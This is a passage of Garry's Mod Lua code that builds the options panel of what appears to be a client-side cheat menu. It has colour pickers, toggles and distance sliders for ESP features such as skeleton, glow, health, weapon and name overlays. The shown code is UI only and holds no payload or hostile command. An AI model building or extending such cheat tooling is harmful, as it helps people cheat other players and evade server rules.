4673draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
4674surface.SetDrawColor(255, 255, 255 ,100)
4675surface.DrawOutlinedRect(0, 0, w, h)
4676else
4677draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
4678surface.SetDrawColor(255, 255, 255 ,100)
4679surface.DrawOutlinedRect(0, 0, w, h)
4680end
4681OptionsColorWhite.DoClick = function()
4682LocalPlayer():ConCommand("fiji_principal_color 255")
4683LocalPlayer():ConCommand("fiji_secondary_color 255")
4684LocalPlayer():ConCommand("fiji_third_color 255")
4685surface.PlaySound( fiji_evilhover )
4686
4687end
4688end
4689--[[if fiji_vision_type:GetInt() == 2 then
4690local pPcolornot = vgui.Create( "DPanel", pContent )
4691pPcolornot:SetSize( 238, 50 )
4692pPcolornot:SetPos( 151, 230 )
4693function pPcolornot:Paint( w, h )
4694DrawBlur(self, 5)
4695surface.SetDrawColor( 200,200,200,255 )
4696surface.DrawOutlinedRect( 0, 0, w, h )
4697draw.RoundedBox( 0, 0, 0, w, h, Color( 40,40,40, 180 ) )
4698draw.SimpleText( "SOLID : Configuration non-disponnible", "evil_home5", 11, 25, color_white, 0, 1 )
4699end
4700end]]
4701local pPcolor2 = vgui.Create( "DPanel", pContent )
4702pPcolor2:SetSize( 205, 50 )
4703pPcolor2:SetPos( 33, 298 )
4704function pPcolor2:Paint( w, h )
4705draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4706draw.SimpleText( "color Infos", "evil_home5", 70, 8, color_white, 0, 1 )
4707end
4708local OptionsColorRed2 = vgui.Create( "DButton", pPcolor2 )
4709OptionsColorRed2:SetPos( 4,20 )
4710OptionsColorRed2:SetSize( 20, 20 )
4711OptionsColorRed2:SetText( " " )
4712OptionsColorRed2.Paint = function( self, w, h )
4713if self:IsHovered() then
4714draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4715surface.SetDrawColor(255, 255, 255 ,100)
4716surface.DrawOutlinedRect(0, 0, w, h)
4717else
4718draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4719surface.SetDrawColor(255, 255, 255 ,100)
4720surface.DrawOutlinedRect(0, 0, w, h)
4721end
4722OptionsColorRed2.DoClick = function()
4723LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4724LocalPlayer():ConCommand("fiji_secondary_color_infos 50")
4725LocalPlayer():ConCommand("fiji_third_color_infos 50")
4726surface.PlaySound( fiji_evilhover )
4727
4728end
4729end
4730local OptionsColorOrange2 = vgui.Create( "DButton", pPcolor2 )
4731OptionsColorOrange2:SetPos( 26,20 )
4732OptionsColorOrange2:SetSize( 20, 20 )
4733OptionsColorOrange2:SetText( " " )
4734OptionsColorOrange2.Paint = function( self, w, h )
4735if self:IsHovered() then
4736draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4737surface.SetDrawColor(255, 255, 255 ,100)
4738surface.DrawOutlinedRect(0, 0, w, h)
4739else
4740draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4741surface.SetDrawColor(255, 255, 255 ,100)
4742surface.DrawOutlinedRect(0, 0, w, h)
4743end
4744OptionsColorOrange2.DoClick = function()
4745LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4746LocalPlayer():ConCommand("fiji_secondary_color_infos 165")
4747LocalPlayer():ConCommand("fiji_third_color_infos 56")
4748surface.PlaySound( fiji_evilhover )
4749
4750end
4751end
4752local OptionsColorYellow2 = vgui.Create( "DButton", pPcolor2 )
4753OptionsColorYellow2:SetPos( 48,20 )
4754OptionsColorYellow2:SetSize( 20, 20 )
4755OptionsColorYellow2:SetText( " " )
4756OptionsColorYellow2.Paint = function( self, w, h )
4757if self:IsHovered() then
4758draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4759surface.SetDrawColor(255, 255, 255 ,100)
4760surface.DrawOutlinedRect(0, 0, w, h)
4761else
4762draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4763surface.SetDrawColor(255, 255, 255 ,100)
4764surface.DrawOutlinedRect(0, 0, w, h)
4765end
4766OptionsColorYellow2.DoClick = function()
4767LocalPlayer():ConCommand("fiji_principal_color_infos 196")
4768LocalPlayer():ConCommand("fiji_secondary_color_infos 192")
4769LocalPlayer():ConCommand("fiji_third_color_infos 0")
4770surface.PlaySound( fiji_evilhover )
4771
4772end
4773end
4774local OptionsColorGreen2 = vgui.Create( "DButton", pPcolor2 )
4775OptionsColorGreen2:SetPos( 70,20 )
4776OptionsColorGreen2:SetSize( 20, 20 )
4777OptionsColorGreen2:SetText( " " )
4778OptionsColorGreen2.Paint = function( self, w, h )
4779if self:IsHovered() then
4780draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
4781surface.SetDrawColor(255, 255, 255 ,100)
4782surface.DrawOutlinedRect(0, 0, w, h)
4783else
4784draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
4785surface.SetDrawColor(255, 255, 255 ,100)
4786surface.DrawOutlinedRect(0, 0, w, h)
4787end
4788OptionsColorGreen2.DoClick = function()
4789LocalPlayer():ConCommand("fiji_principal_color_infos 3")
4790LocalPlayer():ConCommand("fiji_secondary_color_infos 196")
4791LocalPlayer():ConCommand("fiji_third_color_infos 0")
4792surface.PlaySound( fiji_evilhover )
4793
4794end
4795end
4796local OptionsColorBlue2 = vgui.Create( "DButton", pPcolor2 )
4797OptionsColorBlue2:SetPos( 92,20 )
4798OptionsColorBlue2:SetSize( 20, 20 )
4799OptionsColorBlue2:SetText( " " )
4800OptionsColorBlue2.Paint = function( self, w, h )
4801if self:IsHovered() then
4802draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
4803surface.SetDrawColor(255, 255, 255 ,100)
4804surface.DrawOutlinedRect(0, 0, w, h)
4805else
4806draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
4807surface.SetDrawColor(255, 255, 255 ,100)
4808surface.DrawOutlinedRect(0, 0, w, h)
4809end
4810OptionsColorBlue2.DoClick = function()
4811LocalPlayer():ConCommand("fiji_principal_color_infos 91")
4812LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
4813LocalPlayer():ConCommand("fiji_third_color_infos 255")
4814surface.PlaySound( fiji_evilhover )
4815
4816end
4817end
4818local OptionsColorSeaBlue2 = vgui.Create( "DButton", pPcolor2 )
4819OptionsColorSeaBlue2:SetPos( 114,20 )
4820OptionsColorSeaBlue2:SetSize( 20, 20 )
4821OptionsColorSeaBlue2:SetText( " " )
4822OptionsColorSeaBlue2.Paint = function( self, w, h )
4823if self:IsHovered() then
4824draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
4825surface.SetDrawColor(255, 255, 255 ,100)
4826surface.DrawOutlinedRect(0, 0, w, h)
4827else
4828draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
4829surface.SetDrawColor(255, 255, 255 ,100)
4830surface.DrawOutlinedRect(0, 0, w, h)
4831end
4832OptionsColorSeaBlue2.DoClick = function()
4833LocalPlayer():ConCommand("fiji_principal_color_infos 81")
4834LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
4835LocalPlayer():ConCommand("fiji_third_color_infos 246")
4836surface.PlaySound( fiji_evilhover )
4837
4838end
4839end
4840local OptionsColorPurple2 = vgui.Create( "DButton", pPcolor2 )
4841OptionsColorPurple2:SetPos( 136,20 )
4842OptionsColorPurple2:SetSize( 20, 20 )
4843OptionsColorPurple2:SetText( " " )
4844OptionsColorPurple2.Paint = function( self, w, h )
4845if self:IsHovered() then
4846draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
4847surface.SetDrawColor(255, 255, 255 ,100)
4848surface.DrawOutlinedRect(0, 0, w, h)
4849else
4850draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
4851surface.SetDrawColor(255, 255, 255 ,100)
4852surface.DrawOutlinedRect(0, 0, w, h)
4853end
4854OptionsColorPurple2.DoClick = function()
4855LocalPlayer():ConCommand("fiji_principal_color_infos 147")
4856LocalPlayer():ConCommand("fiji_secondary_color_infos 76")
4857LocalPlayer():ConCommand("fiji_third_color_infos 255")
4858surface.PlaySound( fiji_evilhover )
4859
4860end
4861end
4862local OptionsColorPink2 = vgui.Create( "DButton", pPcolor2 )
4863OptionsColorPink2:SetPos( 158,20 )
4864OptionsColorPink2:SetSize( 20, 20 )
4865OptionsColorPink2:SetText( " " )
4866OptionsColorPink2.Paint = function( self, w, h )
4867if self:IsHovered() then
4868draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
4869surface.SetDrawColor(255, 255, 255 ,100)
4870surface.DrawOutlinedRect(0, 0, w, h)
4871else
4872draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
4873surface.SetDrawColor(255, 255, 255 ,100)
4874surface.DrawOutlinedRect(0, 0, w, h)
4875end
4876OptionsColorPink2.DoClick = function()
4877LocalPlayer():ConCommand("fiji_principal_color_infos 252")
4878LocalPlayer():ConCommand("fiji_secondary_color_infos 96")
4879LocalPlayer():ConCommand("fiji_third_color_infos 255")
4880surface.PlaySound( fiji_evilhover )
4881
4882end
4883end
4884local OptionsColorWhite2 = vgui.Create( "DButton", pPcolor2 )
4885OptionsColorWhite2:SetPos( 180,20 )
4886OptionsColorWhite2:SetSize( 20, 20 )
4887OptionsColorWhite2:SetText( " " )
4888OptionsColorWhite2.Paint = function( self, w, h )
4889if self:IsHovered() then
4890draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
4891surface.SetDrawColor(255, 255, 255 ,100)
4892surface.DrawOutlinedRect(0, 0, w, h)
4893else
4894draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
4895surface.SetDrawColor(255, 255, 255 ,100)
4896surface.DrawOutlinedRect(0, 0, w, h)
4897end
4898OptionsColorWhite2.DoClick = function()
4899LocalPlayer():ConCommand("fiji_principal_color_infos 255")
4900LocalPlayer():ConCommand("fiji_secondary_color_infos 255")
4901LocalPlayer():ConCommand("fiji_third_color_infos 255")
4902surface.PlaySound( fiji_evilhover )
4903
4904end
4905end
4906
4907
4908local pPcolor4 = vgui.Create( "DPanel", pContent )
4909pPcolor4:SetSize( 205, 50 )
4910pPcolor4:SetPos( 297, 316 )
4911function pPcolor4:Paint( w, h )
4912draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4913draw.SimpleText( "Couleur Props", "evil_home5", 70, 8, color_white, 0, 1 )
4914end
4915local OptionsColorRed3 = vgui.Create( "DButton", pPcolor4 )
4916OptionsColorRed3:SetPos( 4,20 )
4917OptionsColorRed3:SetSize( 20, 20 )
4918OptionsColorRed3:SetText( " " )
4919OptionsColorRed3.Paint = function( self, w, h )
4920if self:IsHovered() then
4921draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4922surface.SetDrawColor(255, 255, 255 ,100)
4923surface.DrawOutlinedRect(0, 0, w, h)
4924else
4925draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4926surface.SetDrawColor(255, 255, 255 ,100)
4927surface.DrawOutlinedRect(0, 0, w, h)
4928end
4929OptionsColorRed3.DoClick = function()
4930LocalPlayer():ConCommand("fiji_principal_color_props 255")
4931LocalPlayer():ConCommand("fiji_secondary_color_props 50")
4932LocalPlayer():ConCommand("fiji_third_color_props 50")
4933surface.PlaySound( fiji_evilhover )
4934
4935end
4936end
4937local OptionsColorOrange3 = vgui.Create( "DButton", pPcolor4 )
4938OptionsColorOrange3:SetPos( 26,20 )
4939OptionsColorOrange3:SetSize( 20, 20 )
4940OptionsColorOrange3:SetText( " " )
4941OptionsColorOrange3.Paint = function( self, w, h )
4942if self:IsHovered() then
4943draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4944surface.SetDrawColor(255, 255, 255 ,100)
4945surface.DrawOutlinedRect(0, 0, w, h)
4946else
4947draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4948surface.SetDrawColor(255, 255, 255 ,100)
4949surface.DrawOutlinedRect(0, 0, w, h)
4950end
4951OptionsColorOrange3.DoClick = function()
4952LocalPlayer():ConCommand("fiji_principal_color_props 255")
4953LocalPlayer():ConCommand("fiji_secondary_color_props 165")
4954LocalPlayer():ConCommand("fiji_third_color_props 56")
4955surface.PlaySound( fiji_evilhover )
4956
4957end
4958end
4959local OptionsColorYellow3 = vgui.Create( "DButton", pPcolor4 )
4960OptionsColorYellow3:SetPos( 48,20 )
4961OptionsColorYellow3:SetSize( 20, 20 )
4962OptionsColorYellow3:SetText( " " )
4963OptionsColorYellow3.Paint = function( self, w, h )
4964if self:IsHovered() then
4965draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4966surface.SetDrawColor(255, 255, 255 ,100)
4967surface.DrawOutlinedRect(0, 0, w, h)
4968else
4969draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4970surface.SetDrawColor(255, 255, 255 ,100)
4971surface.DrawOutlinedRect(0, 0, w, h)
4972end
4973OptionsColorYellow3.DoClick = function()
4974LocalPlayer():ConCommand("fiji_principal_color_props 196")
4975LocalPlayer():ConCommand("fiji_secondary_color_props 192")
4976LocalPlayer():ConCommand("fiji_third_color_props 0")
4977surface.PlaySound( fiji_evilhover )
4978
4979end
4980end
4981local OptionsColorGreen3 = vgui.Create( "DButton", pPcolor4 )
4982OptionsColorGreen3:SetPos( 70,20 )
4983OptionsColorGreen3:SetSize( 20, 20 )
4984OptionsColorGreen3:SetText( " " )
4985OptionsColorGreen3.Paint = function( self, w, h )
4986if self:IsHovered() then
4987draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
4988surface.SetDrawColor(255, 255, 255 ,100)
4989surface.DrawOutlinedRect(0, 0, w, h)
4990else
4991draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
4992surface.SetDrawColor(255, 255, 255 ,100)
4993surface.DrawOutlinedRect(0, 0, w, h)
4994end
4995OptionsColorGreen3.DoClick = function()
4996LocalPlayer():ConCommand("fiji_principal_color_props 3")
4997LocalPlayer():ConCommand("fiji_secondary_color_props 196")
4998LocalPlayer():ConCommand("fiji_third_color_props 0")
4999surface.PlaySound( fiji_evilhover )
5000
5001end
5002end
5003local OptionsColorBlue3 = vgui.Create( "DButton", pPcolor4 )
5004OptionsColorBlue3:SetPos( 92,20 )
5005OptionsColorBlue3:SetSize( 20, 20 )
5006OptionsColorBlue3:SetText( " " )
5007OptionsColorBlue3.Paint = function( self, w, h )
5008if self:IsHovered() then
5009draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
5010surface.SetDrawColor(255, 255, 255 ,100)
5011surface.DrawOutlinedRect(0, 0, w, h)
5012else
5013draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
5014surface.SetDrawColor(255, 255, 255 ,100)
5015surface.DrawOutlinedRect(0, 0, w, h)
5016end
5017OptionsColorBlue3.DoClick = function()
5018LocalPlayer():ConCommand("fiji_principal_color_props 91")
5019LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5020LocalPlayer():ConCommand("fiji_third_color_props 255")
5021surface.PlaySound( fiji_evilhover )
5022
5023end
5024end
5025local OptionsColorSeaBlue3 = vgui.Create( "DButton", pPcolor4 )
5026OptionsColorSeaBlue3:SetPos( 114,20 )
5027OptionsColorSeaBlue3:SetSize( 20, 20 )
5028OptionsColorSeaBlue3:SetText( " " )
5029OptionsColorSeaBlue3.Paint = function( self, w, h )
5030if self:IsHovered() then
5031draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
5032surface.SetDrawColor(255, 255, 255 ,100)
5033surface.DrawOutlinedRect(0, 0, w, h)
5034else
5035draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
5036surface.SetDrawColor(255, 255, 255 ,100)
5037surface.DrawOutlinedRect(0, 0, w, h)
5038end
5039OptionsColorSeaBlue3.DoClick = function()
5040LocalPlayer():ConCommand("fiji_principal_color_props 81")
5041LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5042LocalPlayer():ConCommand("fiji_third_color_props 246")
5043surface.PlaySound( fiji_evilhover )
5044
5045end
5046end
5047local OptionsColorPurple3 = vgui.Create( "DButton", pPcolor4 )
5048OptionsColorPurple3:SetPos( 136,20 )
5049OptionsColorPurple3:SetSize( 20, 20 )
5050OptionsColorPurple3:SetText( " " )
5051OptionsColorPurple3.Paint = function( self, w, h )
5052if self:IsHovered() then
5053draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
5054surface.SetDrawColor(255, 255, 255 ,100)
5055surface.DrawOutlinedRect(0, 0, w, h)
5056else
5057draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
5058surface.SetDrawColor(255, 255, 255 ,100)
5059surface.DrawOutlinedRect(0, 0, w, h)
5060end
5061OptionsColorPurple3.DoClick = function()
5062LocalPlayer():ConCommand("fiji_principal_color_props 147")
5063LocalPlayer():ConCommand("fiji_secondary_color_props 76")
5064LocalPlayer():ConCommand("fiji_third_color_props 255")
5065surface.PlaySound( fiji_evilhover )
5066
5067end
5068end
5069local OptionsColorPink3 = vgui.Create( "DButton", pPcolor4 )
5070OptionsColorPink3:SetPos( 158,20 )
5071OptionsColorPink3:SetSize( 20, 20 )
5072OptionsColorPink3:SetText( " " )
5073OptionsColorPink3.Paint = function( self, w, h )
5074if self:IsHovered() then
5075draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
5076surface.SetDrawColor(255, 255, 255 ,100)
5077surface.DrawOutlinedRect(0, 0, w, h)
5078else
5079draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
5080surface.SetDrawColor(255, 255, 255 ,100)
5081surface.DrawOutlinedRect(0, 0, w, h)
5082end
5083OptionsColorPink3.DoClick = function()
5084LocalPlayer():ConCommand("fiji_principal_color_props 252")
5085LocalPlayer():ConCommand("fiji_secondary_color_props 96")
5086LocalPlayer():ConCommand("fiji_third_color_props 255")
5087surface.PlaySound( fiji_evilhover )
5088
5089end
5090end
5091local OptionsColorWhite3 = vgui.Create( "DButton", pPcolor4 )
5092OptionsColorWhite3:SetPos( 180,20 )
5093OptionsColorWhite3:SetSize( 20, 20 )
5094OptionsColorWhite3:SetText( " " )
5095OptionsColorWhite3.Paint = function( self, w, h )
5096if self:IsHovered() then
5097draw.RoundedBox(0,0,0,w,h,Color(210, 210, 210))
5098surface.SetDrawColor(255, 255, 255 ,100)
5099surface.DrawOutlinedRect(0, 0, w, h)
5100else
5101draw.RoundedBox( 0, 0, 0, w, h, Color(255, 255, 255))
5102surface.SetDrawColor(255, 255, 255 ,100)
5103surface.DrawOutlinedRect(0, 0, w, h)
5104end
5105OptionsColorWhite3.DoClick = function()
5106LocalPlayer():ConCommand("fiji_principal_color_props 255")
5107LocalPlayer():ConCommand("fiji_secondary_color_props 255")
5108LocalPlayer():ConCommand("fiji_third_color_props 255")
5109surface.PlaySound( fiji_evilhover )
5110
5111end
5112end
5113
5114
5115
5116
5117local btnSolid = BD:CreateBtn( "SOLID", 103, 73, 65, 25, pContent )
5118function btnSolid:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_type:GetInt() == 2 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 2 ) end end
5119function btnSolid:Think() if fiji_vision_type:GetInt() == 2 then self.activebtn = true else self.activebtn = false end end
5120
5121local btnActive = BD:CreateBtn( "Activé", 103, 43, 65, 25, pContent )
5122function btnActive:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_enable:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable", 0 ) else RunConsoleCommand( "BD_hitman_enable", 1 ) end end
5123function btnActive:Think() if fiji_vision_enable:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5124
5125local btnPropsActive = BD:CreateBtn( "Activé", 368, 232, 65, 25, pContent )
5126function btnPropsActive:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_enable_props:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable_props", 0 ) else RunConsoleCommand( "BD_hitman_enable_props", 1 ) end end
5127function btnPropsActive:Think() if fiji_vision_enable_props:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5128
5129local btnSquelette = BD:CreateBtn( "SQUELETTE", 33, 73, 65, 25, pContent )
5130function btnSquelette:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_type:GetInt() == 1 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 1 ) end end
5131function btnSquelette:Think() if fiji_vision_type:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5132
5133local btnGlow = BD:CreateBtn( "GLOW", 173, 73, 65, 25, pContent )
5134function btnGlow:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_type:GetInt() == 3 then RunConsoleCommand( "BD_hitman_type", 0 ) else RunConsoleCommand( "BD_hitman_type", 3 ) end end
5135function btnGlow:Think() if fiji_vision_type:GetInt() == 3 then self.activebtn = true else self.activebtn = false end end
5136
5137local btnEntiterActive = BD:CreateBtn( "Activé", 335, 35, 65, 25, pContent )
5138function btnEntiterActive:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_enable_ent:GetInt() == 1 then RunConsoleCommand( "BD_hitman_enable_ent", 0 ) else RunConsoleCommand( "BD_hitman_enable_ent", 1 ) end end
5139function btnEntiterActive:Think() if fiji_vision_enable_ent:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5140
5141local btnEntitermenu = BD:CreateBtn( "Menu", 403, 35, 65, 25, pContent )
5142function btnEntitermenu:DoClick() surface.PlaySound( fiji_evilclick ) LocalPlayer():ConCommand("fiji_espent") end
5143
5144local btnEntiterhalo = BD:CreateBtn( "Glow", 335, 135, 65, 25, pContent )
5145function btnEntiterhalo:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_enable_enthalo:GetInt() == 1 then RunConsoleCommand( "fiji_vision_enable_enthalo", 0 ) else RunConsoleCommand( "fiji_vision_enable_enthalo", 1 ) end end
5146function btnEntiterhalo:Think() if fiji_vision_enable_enthalo:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5147
5148local btnEntiterhalo = BD:CreateBtn( "Texte", 403, 135, 65, 25, pContent )
5149function btnEntiterhalo:DoClick() surface.PlaySound( fiji_evilclick ) if fiji_vision_enable_enttext:GetInt() == 1 then RunConsoleCommand( "fiji_vision_enable_enttext", 0 ) else RunConsoleCommand( "fiji_vision_enable_enttext", 1 ) end end
5150function btnEntiterhalo:Think() if fiji_vision_enable_enttext:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5151
5152local btnWeapon = BD:CreateBtn( "ARMES", 33, 103, 65, 25, pContent )
5153function btnWeapon:DoClick()
5154surface.PlaySound( fiji_evilclick )
5155if fiji_vision_infos_weapons:GetInt() == 1 then
5156RunConsoleCommand( 'BD_hitman_infos_weapons', 0 )
5157else
5158RunConsoleCommand( 'BD_hitman_infos_weapons', 1 )
5159end
5160end
5161function btnWeapon:Think() if fiji_vision_infos_weapons:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5162
5163local btnName = BD:CreateBtn( "name", 103, 103, 65, 25, pContent )
5164function btnName:DoClick()
5165surface.PlaySound( fiji_evilclick )
5166if fiji_vision_infos_name:GetInt() == 1 then
5167RunConsoleCommand( 'BD_hitman_infos_name', 0 )
5168else
5169RunConsoleCommand( 'BD_hitman_infos_name', 1 )
5170end
5171end
5172function btnName:Think() if fiji_vision_infos_name:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5173
5174local btnHealth = BD:CreateBtn( "SANTÉ", 173, 103, 65, 25, pContent )
5175function btnHealth:DoClick()
5176surface.PlaySound( fiji_evilclick )
5177if fiji_vision_infos_health:GetInt() == 1 then
5178RunConsoleCommand( 'BD_hitman_infos_health', 0 )
5179else
5180RunConsoleCommand( 'BD_hitman_infos_health', 1 )
5181end
5182end
5183function btnHealth:Think() if fiji_vision_infos_health:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
5184
5185local pP = vgui.Create( "DPanel", pContent )
5186pP:SetSize( 205, 50 )
5187pP:SetPos( 33, 133 )
5188function pP:Paint( w, h )
5189draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5190draw.SimpleText( "DISTANCE ESP", "evil_home5", 10, h / 2, color_white, 0, 1 )
5191end
5192
5193local pP2 = vgui.Create( "DPanel", pContent )
5194pP2:SetSize( 205, 50 )
5195pP2:SetPos( 33, 188 )
5196function pP2:Paint( w, h )
5197draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5198draw.SimpleText( "DISTANCE INFOS", "evil_home5", 10, h / 2, color_white, 0, 1 )
5199end
5200local pP3 = vgui.Create( "DPanel", pContent )
5201pP3:SetSize( 205, 50 )
5202pP3:SetPos( 297, 64 )
5203function pP3:Paint( w, h )
5204draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5205draw.SimpleText( "DISTANCE ENT", "evil_home5", 10, h / 2, color_white, 0, 1 )
5206end
5207local pP4 = vgui.Create( "DPanel", pContent )
5208pP4:SetSize( 205, 50 )
5209pP4:SetPos( 297, 261 )
5210function pP4:Paint( w, h )
5211draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
5212draw.SimpleText( "DISTANCE PROPS", "evil_home5", 10, h / 2, color_white, 0, 1 )
5213end
5214local TextEsp = vgui.Create( "DPanel", pContent )
5215TextEsp:SetSize(100,30)
5216TextEsp:SetPos(220,355)
5217TextEsp.Paint = function( self, w, h )
5218draw.RoundedBox( 0, 0, 0, w, h, Color( 255,110,110, 0 ) )
5219end
5220
5221local pDistanceA = vgui.Create( "DNumSlider", pContent )
5222pDistanceA:SetPos( 68, 188 )
5223pDistanceA:SetSize( 180, 50 )
5224pDistanceA:SetText( "" )
5225pDistanceA:SetMin( 120 )
5226pDistanceA:SetMax( 2000 )
5227pDistanceA:SetDecimals( 0 )
5228pDistanceA:SetValue( fiji_vision_distance_infos:GetInt() or 200 )
5229pDistanceA.Scratch:SetVisible( false )
5230pDistanceA.TextArea:SetTextColor( color_white )
5231function pDistanceA.Slider:Paint(w, h)
5232surface.SetDrawColor(0, 0, 0, 255)
5233surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5234if fiji_style_menu:GetInt() == 2 then
5235surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5236surface.DrawRect(0, 21, barw, h / 5)
5237
5238elseif fiji_style_menu:GetInt() == 1 then
5239surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5240surface.DrawRect(0, 21, barw, h / 5)
5241
5242else
5243surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5244surface.DrawRect(0, 21, barw, h / 5)
5245end
5246end
5247function pDistanceA:SetHeight(tall)
5248self.Slider.Knob:SetHeight(tall / 2 + 4)
5249DSlider.SetHeight(self, tall)
5250pDistanceA.SetTall = pDistanceA.SetHeight
5251pDistanceA.Slider.Knob:SetTall(5)
5252end
5253function pDistanceA.Slider.Knob:Paint(w, h)
5254derma.SkinHook( "Paint", "Button", self, 0, 0 )
5255end
5256function pDistanceA:OnValueChanged( val )
5257RunConsoleCommand( 'BD_hitman_distance_infos', tonumber( self:GetValue() ) )
5258end
5259
5260
5261local pDistance = vgui.Create( "DNumSlider", pContent )
5262pDistance:SetPos( 68, 133 )
5263pDistance:SetSize( 180, 50 )
5264pDistance:SetText( "" )
5265pDistance:SetMin( 120 )
5266pDistance:SetMax( 10000 )
5267pDistance:SetDecimals( 0 )
5268pDistance:SetValue( fiji_vision_distance:GetInt() or 200 )
5269pDistance.Scratch:SetVisible( false )
5270pDistance.TextArea:SetTextColor( color_white )
5271function pDistance:OnValueChanged( val )
5272RunConsoleCommand( 'BD_hitman_distance', tonumber( self:GetValue() ) )
5273end
5274function pDistance.Slider:Paint(w, h)
5275surface.SetDrawColor(0, 0, 0, 255)
5276surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5277if fiji_style_menu:GetInt() == 2 then
5278surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5279surface.DrawRect(0, 21, barw, h / 5)
5280
5281elseif fiji_style_menu:GetInt() == 1 then
5282surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5283surface.DrawRect(0, 21, barw, h / 5)
5284
5285else
5286surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5287surface.DrawRect(0, 21, barw, h / 5)
5288end
5289end
5290function pDistance:SetHeight(tall)
5291self.Slider.Knob:SetHeight(tall / 2 + 4)
5292DSlider.SetHeight(self, tall)
5293pDistance.SetTall = pDistance.SetHeight
5294pDistance.Slider.Knob:SetTall(5)
5295end
5296function pDistance.Slider.Knob:Paint(w, h)
5297derma.SkinHook( "Paint", "Button", self, 0, 0 )
5298end
5299
5300
5301local pDistanceB = vgui.Create( "DNumSlider", pContent )
5302pDistanceB:SetPos( 330, 64 )
5303pDistanceB:SetSize( 180, 50 )
5304pDistanceB:SetText( "" )
5305pDistanceB:SetMin( 200 )
5306pDistanceB:SetMax( 20000 )
5307pDistanceB:SetDecimals( 0 )
5308pDistanceB:SetValue( fiji_vision_distance_ent:GetInt() or 200 )
5309pDistanceB.Scratch:SetVisible( false )
5310pDistanceB.TextArea:SetTextColor( color_white )
5311function pDistanceB:OnValueChanged( val )
